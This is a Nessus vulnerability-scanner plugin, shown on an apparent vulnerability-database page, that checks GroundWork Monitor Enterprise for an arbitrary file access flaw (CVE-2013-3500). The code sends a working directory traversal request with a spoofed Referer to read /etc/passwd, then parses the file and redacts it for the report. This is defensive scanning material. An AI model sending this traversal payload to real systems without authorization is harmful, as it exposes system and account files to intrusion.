Lucene search

K
nessusThis script is Copyright (C) 2013-2021 and is owned by Tenable, Inc. or an Affiliate thereof.GROUNDWORK_MONITOR_ENTERPRISE_ARBITRARY_FILE_ACCESS.NASL
HistoryJun 28, 2013 - 12:00 a.m.

GroundWork Monitor Enterprise Foundation Webapp Admin Arbitrary File Access

2013-06-2800:00:00
This script is Copyright (C) 2013-2021 and is owned by Tenable, Inc. or an Affiliate thereof.
www.tenable.com
23

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

EPSS

0.003

Percentile

68.0%

The remote host has a version of GroundWork Monitor Enterprise installed that has an arbitrary file access vulnerability in the Foundation Webapp Admin interface. By sending a specially crafted HTTP request, it is possible for a remote attacker to read or modify files the nagios user has access to.

Note that installs affected by this vulnerability are most likely affected by other vulnerabilities as well.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(67020);
  script_version("1.8");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2013-3500");
  script_bugtraq_id(58406);
  script_xref(name:"CERT", value:"345260");

  script_name(english:"GroundWork Monitor Enterprise Foundation Webapp Admin Arbitrary File Access");
  script_summary(english:"Tries to bypass authentication");

  script_set_attribute(
    attribute:"synopsis",
    value:
"The remote host has a web application that is affected by an arbitrary
file access vulnerability."
  );
  script_set_attribute(
    attribute:"description",
    value:
"The remote host has a version of GroundWork Monitor Enterprise
installed that has an arbitrary file access vulnerability in the
Foundation Webapp Admin interface.  By sending a specially crafted HTTP
request, it is possible for a remote attacker to read or modify files
the nagios user has access to. 

Note that installs affected by this vulnerability are most likely
affected by other vulnerabilities as well."
  );
  # https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130308-0_GroundWork_Monitoring_Multiple_critical_vulnerabilities_wo_poc_v10.txt
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?8bed79e0");
  # https://kb.groundworkopensource.com/login.action;jsessionid=2E43D410E8AF4B26C2699FEFF2118A64?os_destination=https%3A%2F%2Fkb.groundworkopensource.com%2Fdisplay%2FSUPPORT%2FSA%2B2013-1%2BSome%2Bweb%2Bcomponents%2Ballow%2Bbypass%2Bof%2Brole%2Baccess%2Bcontrols
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?6e52b021");
  script_set_attribute(attribute:"solution", value:"See the vendor advisory for a workaround.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:ND");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2013-3500");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/03/08");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/03/08");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/06/28");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:gwos:groundwork_monitor");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("groundwork_monitor_enterprise_auth_bypass.nasl");
  script_require_keys("www/groundwork_monitor_enterprise");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80);
get_kb_item_or_exit('www/'+port+'/groundwork_monitor_enterprise/weak_auth');

appname = "GroundWork Monitor Enterprise";

install = get_install_from_kb(appname:"groundwork_monitor_enterprise", port:port, exit_on_fail:TRUE);

dir = install['dir'];
location = build_url(qs:dir, port:port);

referer = build_url(qs:'/foundation-webapp/admin/manage-configuration.jsp', port:port);

dir_traversal = mult_str(str:'../', nb:15) + 'etc/passwd';

res = http_send_recv3(
                      port: port,
                      item: '/foundation-webapp/admin/manage-configuration.jsp?fn=' + dir_traversal,
                      method: 'GET',
                      add_headers: make_array("Referer", referer)
                      );

if (
  "Properties File:" >< res[2] &&
  "/etc/passwd" >< res[2] &&
  (res[2] =~ ":0:[01]:root:" || "/bin/bash" >< res[2])
)
{
  report = NULL;
  attach_file = NULL;
  output = NULL;
  req = http_last_sent_request();
  request = NULL;

  if (report_verbosity > 0)
  {
    passwd_file = '';

    # passwd file content is mixed in with HTML code,
    # below we try to pull it out for the report
    foreach line (split(res[2], keep:FALSE))
    {
      item = pregmatch(pattern:'<input[ ]*id="prop_([^"]+)"[^>]+value="([^"]+)"', string:line);
      # see if what we have is likely a valid passwd file entry,
      # append to passwd_file if it is
      if (
        !isnull(item) && !isnull(item[1]) && !isnull(item[2]) &&
        preg(pattern:"^[^:]+$", string:item[1]) &&
        preg(pattern:"^([^:]+:){5}[^:]+$", string:item[2])
      ) passwd_file += item[1] + ":" + item[2] + '\n';
    }

    report =
      '\nNessus was able to obtain \'/etc/passwd\' using the following' +
      '\nrequest : \n' +
      '\n' +
      crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
      req + '\n' +
      crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n';

    if (report_verbosity > 1 && !empty_or_null(passwd_file))
    {
      output = data_protection::redact_etc_passwd(output:passwd_file);
      attach_file = "passwd";
      request = make_list(req);
    }
  }

  security_report_v4(port:port,
                     extra:report,
                     severity:SECURITY_HOLE,
                     request:request,
                     file:attach_file,
                     output:output);

  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, location);

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

EPSS

0.003

Percentile

68.0%

Related for GROUNDWORK_MONITOR_ENTERPRISE_ARBITRARY_FILE_ACCESS.NASL